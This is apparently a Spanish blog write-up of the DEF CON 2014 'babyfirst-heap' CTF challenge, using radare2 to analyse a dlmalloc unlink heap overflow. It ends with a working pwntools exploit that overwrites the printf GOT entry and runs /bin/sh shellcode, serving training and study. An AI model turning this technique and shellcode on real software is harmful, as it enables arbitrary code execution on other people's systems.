Resolviendo el reto ‘heap’ defcon 2014 con r2

Este artículo introducirá r2 para la resolución de una CTF simple de Defcon ’14 mediante Linux. Para aquellos que no conocen radare2, es una unix-like reverse engineering framework and commandline tool y lo más importante de todo es que es de código abierto así podemos jugar con ella.

Radare2 nos da la posibilidad de hacer ingeniería inversa y más por libre como vamos a ver en este blog, aunque no vamos a entrar en profundidad en los comandos. Lo dejo como ejercicio para el lector.

La mayoría de las personas se quejan de la falta de documentación que r2 tiene pero eso está lejos de la realidad. Radare tiene:

  • Un libro open source en el que cualquiera puede contribuir.
  • Charlas.
  • Asciinema mostrando ejemplos de uso.
  • Si añades ? a cada comando en la consola de r2 obtendrás una pequeña ayuda.
  • Hay un blog.
  • Canal IRC en freenode.net #radare.
  • Por último, pero no menos importante, tenemos el código fuente.

Lo primero que vamos a necesitar es el binario con el que vamos a jugar.

wget https://github.com/ctfs/write-ups-2014/raw/master/def-con-ctf-qualifier-2014/heap/babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c

Lo segundo y más importante r2 y el conjunto de herramientas que nos ofrece. Hay un consejo en el mundo de r2 y es utilizar radare2 siempre desde git debido a que r2 está en constante desarrollo, incluyendo nuevas funcionalidades y arreglando fallos.

git clone https://github.com/radare/radare2.git
cd radare2
./sys/install.sh
$ r2 -v # to test that the installation was successful
# after the installation we have these utilites
r2agent  r2pm     rabin2   radare2  radiff2  rafind2  ragg2    rahash2  ranal2   rarun2   rasign2  rasm2    rax2

Estamos listos para el CTF. Como es habitual en seguridad lo primero que debemos lograr es reunir información, en este caso sobre el binario.

[alvaro @ ctf] $ ./babyfirst-heap

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=9076008][size=1246]
[ALLOC][loc=90764F0][size=1121]
[ALLOC][loc=9076958][size=947]
[ALLOC][loc=9076D10][size=741]
[ALLOC][loc=9077000][size=706]
[ALLOC][loc=90772C8][size=819]
[ALLOC][loc=9077600][size=673]
[ALLOC][loc=90778A8][size=1004]
[ALLOC][loc=9077C98][size=952]
[ALLOC][loc=9078058][size=755]
[ALLOC][loc=9078350][size=260]
[ALLOC][loc=9078458][size=877]
[ALLOC][loc=90787D0][size=1245]
[ALLOC][loc=9078CB8][size=1047]
[ALLOC][loc=90790D8][size=1152]
[ALLOC][loc=9079560][size=1047]
[ALLOC][loc=9079980][size=1059]
[ALLOC][loc=9079DA8][size=906]
[ALLOC][loc=907A138][size=879]
[ALLOC][loc=907A4B0][size=823]
Write to object [size=260]:
aaaaaa
Copied 7 bytes.
[FREE][address=9076008]
[FREE][address=90764F0]
[FREE][address=9076958]
[FREE][address=9076D10]
[FREE][address=9077000]
[FREE][address=90772C8]
[FREE][address=9077600]
[FREE][address=90778A8]
[FREE][address=9077C98]
[FREE][address=9078058]
[FREE][address=9078350]
[FREE][address=9078458]
[FREE][address=90787D0]
[FREE][address=9078CB8]
[FREE][address=90790D8]
[FREE][address=9079560]
[FREE][address=9079980]
[FREE][address=9079DA8]
[FREE][address=907A138]
[FREE][address=907A4B0]
Did you forget to read the flag with your shellcode?
Exiting

Sólo ejecutándolo, nos da mucha información. Lo más importante en mi opinión es que está utilizando Dougle Lee Allocator 2.6.1. Sólo con eso ya sabemos cuál es nuestra misión aquí, que básicamente consiste en engañar al memory allocator para sobreescribir los metadatos de la estructura que usa en el algoritmo, con el fin de sobreescribir en direcciones arbitrarias de memoria. Si no sabes de lo que estoy hablando te animo a leer los artículos siguientes antes de continuar: phrack 57-8 y Solar Designer.

Debemos descargar el código fuente del memory allocator Dougle Lee para hacer que nuestro exploit funcione.

wget ftp://g.oswego.edu/pub/misc/malloc-2.6.1.c

La parte más importante del código es:

struct malloc_chunk
{
  size_t size;               /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;   /* double links -- used only if free. */
  struct malloc_chunk* bk;
  size_t unused;             /* to pad decl to min chunk size */
};

#define unlink(p)                                                             \
{                                                                             \
  mchunkptr Bul = (p)->bk;                                                    \
  mchunkptr Ful = (p)->fd;                                                    \
  Ful->bk = Bul;  Bul->fd = Ful;                                              \
}                                                                             \

Si leíste los artículos que he señalado antes ya sabes por qué esto es importante. Si no, mal hecho, pero la idea es cómo el asignador gestiona la memoria. La gestiona usando malloc_chunk y dependiendo de si la memoria se asigna o libera, sus campos tienen diferentes significados (tener en cuenta la diferencia entre el artículo phrack y nuestro caso).

 chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
             | size: size of the chunk (the number of bytes between    |
             | "chunk" and "nextchunk") and 2 bits status information  |
      mem -> +---------------------------------------------------------+
             | fd: not used by dlmalloc because "chunk" is allocated   |
             | (user data therefore starts here)                       |
             + - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
             | bk: not used by dlmalloc because "chunk" is allocated   |
             | (there may be user data here)                           |
             + - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
             .                      User data                          .
nextchunk -> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

La idea será sobrescribir size, fd y bk en nextchunk, ejecutar unlink y obtener una shell. Podemos obtener una shell sobrescribiendo estos campos porque la macro unlink es la siguiente:

#define unlink(p)                                                             \
{                                                                             \
  mchunkptr BK = (p)->bk;                                                    \
  mchunkptr FD = (p)->fd;                                                    \
  FD+8 = BK;  
  BK+4 = FD;                                                                  \
}                                                                             \

Somos capaces de escribir en FD+8 la dirección de BK que será la dirección de nuestro shellcode. Sin embargo, al mismo tiempo estamos escribiendo en la posición de memoria BK+4, así que será algo a tener en cuenta después.

Es hora de jugar con r2 y continuar obteniendo información de nuestro binario. Radare2 en un principio puede parecer difícil, pero una vez que te familiarizas con él, es muy potente; es la misma sensación que con vim. La mejor parte es que r2 sigue la misma filosofía que vim y cada comando tiene un significado; es solo cuestión de tiempo acostumbrarse a ellos.

  1. a y sus subcomandos significan analizar.
    • af = analiza función
    • aac = analiza llamadas
  2. i y sus subcomandos significan información.
    • is = información de símbolos
    • ii = información de imports
  3. ~ is el “grep” interno
  4. @ posición temporal
[alvaro @ ctf] $ r2 babyfirst-heap
 -- Execute a command every time a breakpoint is hit with 'e cmd.bp = !my-program'
[0x080486f0]> i?
... get help and to know what does this command
[0x080486f0]> # ~ is the internal grep
[0x080486f0]> i~pic,nx,canary
pic      false
canary   false
nx       true
[0x080486f0]> ik~relro
elf.relro=partial relro
[alvaro @ ctf] $ ./babyfirst-heap &
[1] 11677
[1]+  Detenido                ./babyfirst-heap
[alvaro @ ctf] $ cat /proc/11677/maps |grep heap
...
097e2000-097e8000 rwxp 00000000 00:00 0                                  [heap]

Tenemos en nuestras manos un binario sin PIC, con RELRO parcial y heap ejecutable. Esto significa que podemos modificar una entrada de GOT para obtener el control sobre el flujo de ejecución del programa y colocar nuestra shellcode en la heap.

[alvaro @ ctf] $ r2 babyfirst-heap
 -- Insert coin to continue..
[0x080486f0]> ir # get the binary's relocations
[Relocations]
vaddr=0x0804bff0 paddr=0x00002ff0 type=SET_32 __gmon_start__
vaddr=0x0804c880 paddr=0x00003880 type=ADD_64
vaddr=0x0804c884 paddr=0x00003884 type=ADD_64
vaddr=0x0804c8a0 paddr=0x000038a0 type=ADD_64
vaddr=0x0804c000 paddr=0x00003000 type=SET_32 mprotect
vaddr=0x0804c004 paddr=0x00003004 type=SET_32 printf
vaddr=0x0804c008 paddr=0x00003008 type=SET_32 memcpy
vaddr=0x0804c00c paddr=0x0000300c type=SET_32 signal
vaddr=0x0804c010 paddr=0x00003010 type=SET_32 alarm
vaddr=0x0804c014 paddr=0x00003014 type=SET_32 _IO_getc
vaddr=0x0804c018 paddr=0x00003018 type=SET_32 puts
vaddr=0x0804c01c paddr=0x0000301c type=SET_32 __gmon_start__
vaddr=0x0804c020 paddr=0x00003020 type=SET_32 exit
vaddr=0x0804c024 paddr=0x00003024 type=SET_32 __libc_start_main
vaddr=0x0804c028 paddr=0x00003028 type=SET_32 fprintf
vaddr=0x0804c02c paddr=0x0000302c type=SET_32 setvbuf
vaddr=0x0804c030 paddr=0x00003030 type=SET_32 memset
vaddr=0x0804c034 paddr=0x00003034 type=SET_32 sbrk

18 relocations
[0x080486f0]> S # get sections
[00] . 0x00000154 -r-- va=0x08048154 sz=0x0013 vsz=0x0013 .interp
....
[21] . 0x00002ff0 -rw- va=0x0804bff0 sz=0x0004 vsz=0x0004 .got
[22] . 0x00002ff4 -rw- va=0x0804bff4 sz=0x0044 vsz=0x0044 .got.plt
[23] . 0x00003040 -rw- va=0x0804c040 sz=0x0824 vsz=0x0824 .data
....

Para desensamblar el binario y entender lo que hace, basta con ejecutar estos comandos.

[alvaro @ ctf] $ r2 babyfirst-heap
 -- Change the UID of the debugged process with child.uid (requires root)
[0x080486f0]> s main # seek to the main symbol
[0x0804890b]> af # define a function
[0x0804890b]> Vp # get into visual mode, p rotates the print mode, by default is in hex (without p)
use j/k to navigate and ? for help 

Si entiendes el código, verás que el objeto que vamos a desbordar es siempre del mismo tamaño y que reside en esp + 0x60

0x080489d6   cmp dword [esp + 0x133c], 0xa                 ; [0xa:4]=0 ; main.c:133
0x080489de   jne 0x80489eb                                 ;[4]
0x080489e0   mov dword [esp + 0x1338], 0x104               ; [0x104:4]=196 ; main.c:134 
..
esp+0x1338 will hold the size in this case 0x104=206 (run: rax2 0x104)

Ahora es el momento de depurar para comprender aún mejor el binario

asciicast

Como has podido ver tenemos el control del siguiente chunk de memoria y el objetivo será el siguiente.

  • Escribir en el campo tamaño del siguiente chunk el último bit a 1. Esto engañará al asignador y le hará pensar que el trozo está libre, por lo que llamará a un link.
  • Escribir en el campo fd la dirección de linreloc_printfkreloc_printf menos 8. ¿Por qué menos 8? Si miramos de nuevo la función unlink, hace que FD->bk = BK, lo que es equivalente a fd+8 = BK. Ahora simplemente sustituye fd con &reloc_printf - 8 y escribirás en el reloc_printf. Para obtener la ubicación de reloc_printf simplemente ejecuta en la consola de r2 ir~printf.
  • Escribir en bk la dirección de nuestro shellcode que el propio binario nos da.

Pero todavía hay una cosa que resolver. En la función unlink, BK+4 se sobreescribe, por lo que nuestro shellcode debe tener esto en cuenta. ¿Cómo podemos resolverlo? Parchea el shellcode al principio para hacer un jmp. Utilizamos rasm2 para obtener los bytes exactos que necesitamos.

[alvaro @ ~] $ rasm2 -a x86 -b 32 'jmp 0x10'
eb0c

La primera instrucción hará que nuestro shellcode salte 16 posiciones hacía delante y lo que está escrito en BK+4 no importa. Lo tenemos.

from pwn import *
import re

reloc_printf = 0x0804c004 # ir~printf

conn = remote ('127.0.0.1', 8080)
output = conn.recv()

s = re.search ("\[ALLOC\]\[loc=[a-z,A-z,0-9]+\[size=260\]", output)
dir_shellcode = int(s.group()[12:19],16)
nop = "\x90" * 30
#shellcode from http://shell-storm.org/shellcode/files/shellcode-752.php
shellcode = nop + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

payload = "\xeb\x0c" # jmp_patch
payload += shellcode
payload += "A"* (260 - len(payload))
payload += p32(0x1) # make the next chunk free
payload += p32(reloc_printf - 8)
payload += p32(dir_shellcode)

conn.send (payload + '\n')
conn.interactive()

Aquí nuestro shell:

asciicast